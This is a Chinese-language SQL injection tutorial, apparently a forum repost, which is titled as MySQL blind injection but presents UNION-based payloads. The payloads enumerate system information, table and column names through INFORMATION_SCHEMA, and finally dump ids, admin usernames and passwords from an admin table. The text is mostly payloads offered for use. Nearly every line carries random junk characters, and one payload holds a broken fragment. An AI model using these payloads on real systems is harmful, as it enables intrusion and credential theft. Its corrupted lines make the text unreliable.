本文介绍MYSQL盲注的一些语句和方法
^. p) \& Y/ n. s1 {: W
% o2 z% y x$ w( q学习盲注前先了解下 IFORMATION_SCHEMA 库5 E. o. [. c: ? m$ |, e' o
! K) h1 O0 n. |2 [3 N& M8 Q# N
Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有
; L7 _- R* j7 Y" |存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
* b& l7 y( E( }, F, b; J* N1.得到所有数据库名:* T2 }3 \1 h+ m
|SCHEMATA ->存储数据库名的表
- e6 P; P7 r* W% F' l: K|---字段:SCHEMA_NAME ->数据库名称: h2 _5 I7 [+ i) j" s y
( x% x4 v0 x; O3 T% ?; c# z2 P
|TABLES ->存储表名
y O6 D8 T6 o! j: G! X/ {|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名
+ \: e% S' C) g2 V& U3 f|---字段:TABLE_NAME ->存储表的表名
( Z% r# W( I5 L/ p3 @6 U& e
6 ?% w- m8 t, Q3 n4 L3 {|COLUMNS ->存储的字段名表
* ~! L% B5 L5 _|---字段:TABLE_SCHEMA ->该字段所属数据库名
9 S3 v. Y& V. ?( i8 g* l|---字段:TABLE_NAME ->存储所属表的名称' ]- P! e6 m0 `
- G0 L" o+ h, d. @) _5 ~|---字段:COLUMN_NAME ->该字段的名称& k8 Y d" h/ g8 w
8 ]2 P8 q- L1 w2 [: @; r1 J) g" L% C
* g2 w, ?- Z* @. {- \8 D1 y/ \ W6 h( G
###########################################################################
! \3 c# u) Q f% t$ a( Z3 o+ S( M
! a% H" X) D& m( e( s0x001 获取系统信息:8 O0 _& }1 O- u- t( _
; A7 N; Z" T8 O* O5 Q
union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /* O- d7 N \$ q: G4 M" h0 T8 F
, `6 Z4 _8 G+ \/ X& }7 E u/*
) I+ L0 E2 G+ z7 G0 c1 K4 q' O. r( d- E8 I
@@global.version_compile_os 获取系统版本! A, c4 a) A/ h& `1 {+ ~
4 o6 E) _/ N( a% I9 O% v1 q5 u* k
@@datadir 数据库路径$ |3 g) f' [& j0 @
database() 当前数据库名称
, P) [! S9 P8 \! f; {+ u5 \ h, Q0x3c62723e 换行HEX值
- _8 f9 G2 _7 p6 R
/ P& f" `2 g; _5 l$ Y! k*/
5 q8 E$ N% U+ e. G& E: U; ]# z; b8 ]( V: v. H( h
" {' E$ k; s, m- d% C4 `8 W1 l5 h B5 ~, ?
######################################################################) T: \3 e' k6 B& {" d
% @, x- |. F5 p0 O; ?" c) T0x002 获取表名
; y" V/ n7 f! {4 f9 y* [
" c. {& l! o! F, {0 L# S7 a; _union select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*
V4 y8 T6 |! F
9 h5 m8 d6 ~$ ?, Y" s" | 1 a, M0 e' B8 [. |6 @8 E
# S1 U) W5 g- k5 |2 \
/*+ M4 r3 ^+ W- N+ u
# f6 d" R, ^; c% ~ [# y0 L n0x67617264656e 为当前数据库名
% b# e/ _( V2 }. O) r7 H: a8 |: _$ f! U& a
group_concat(table_name) 使用group_concat函数 一步获得该库所有表名( U+ l+ m6 e2 F$ U' g- L+ D
4 b' c* Q! h: d- l*/
, E# x! }, L3 ? }0 p2 q) A
# n) y' G. n. y; X######################################################################: S2 S1 p* o8 d Z v$ ?
+ u( c9 g( a4 {0 z p |
7 D7 Q. k: O! X* }5 e9 p% ^0 P# j7 b% O }1 v$ q
0x003 获取字段
* u/ G0 c* e K6 C
. G: h* T$ p! ~! S+ b! tunion select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*5 |5 Z8 y. O# a+ L& V8 U! R4 I& l
& \9 n4 r9 i/ l) f2 {/*
5 H9 q2 ~$ |9 B5 u
' {$ Q& q! J P) d- y) egroup_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段
4 `% z- o' z3 i) |# d+ |% E/ s) H/ X; f+ I) b7 H
0x61646d696e ->选择一个表
" z& X4 ~ R! D
: ^4 K5 @: ?& T9 k( @0x67617264656e ->数据库名
9 y B; J$ z: o+ d6 J' x3 k/ I2 W5 {" o) I4 _
*/
- i1 U/ U/ m8 K" |- W0 g3 ?, { q& T$ z3 A) X
#####################################################################+ ^1 W# w j( l( I) X
9 O: P. A3 l/ `! {* ~ - R4 N' P6 N f2 f7 d2 o4 Y
N6 p) g3 d/ X0x004 获取数据% o& V3 c1 q, a) }& P
' X5 x7 r1 n: w5 ^, cunion select 1,2,3
- d- `- z& B( S7 r- S,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin/ l4 \, E0 _9 s/ [. K" V5 g
. O/ W2 m. S# e! Z2 Q3 x6 K
union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin2 @. S1 ~0 S7 R1 x
2 X8 z9 n# g& t) E
$ n: c/ A7 m5 I8 y9 A: U7 v
5 W% ^( y o* ?0 O- } `/*) x5 Y& U+ z2 w
: u p; _7 I- V: e* Y
0x3c62723e 换行符号HEX编码
# M: [& R* D# [% Z3 N0 v9 L, C& I4 W; R1 G5 Y' ^4 k1 Z1 `
group_concat 同时获得该字段所有数据8 _) J8 a2 _1 G" N; s9 k
7 I: j7 `5 h* _/ ]) Z' E- R4 m*/
! q& ]: t" r0 w/ \ c; q; _9 A" a1 ]
|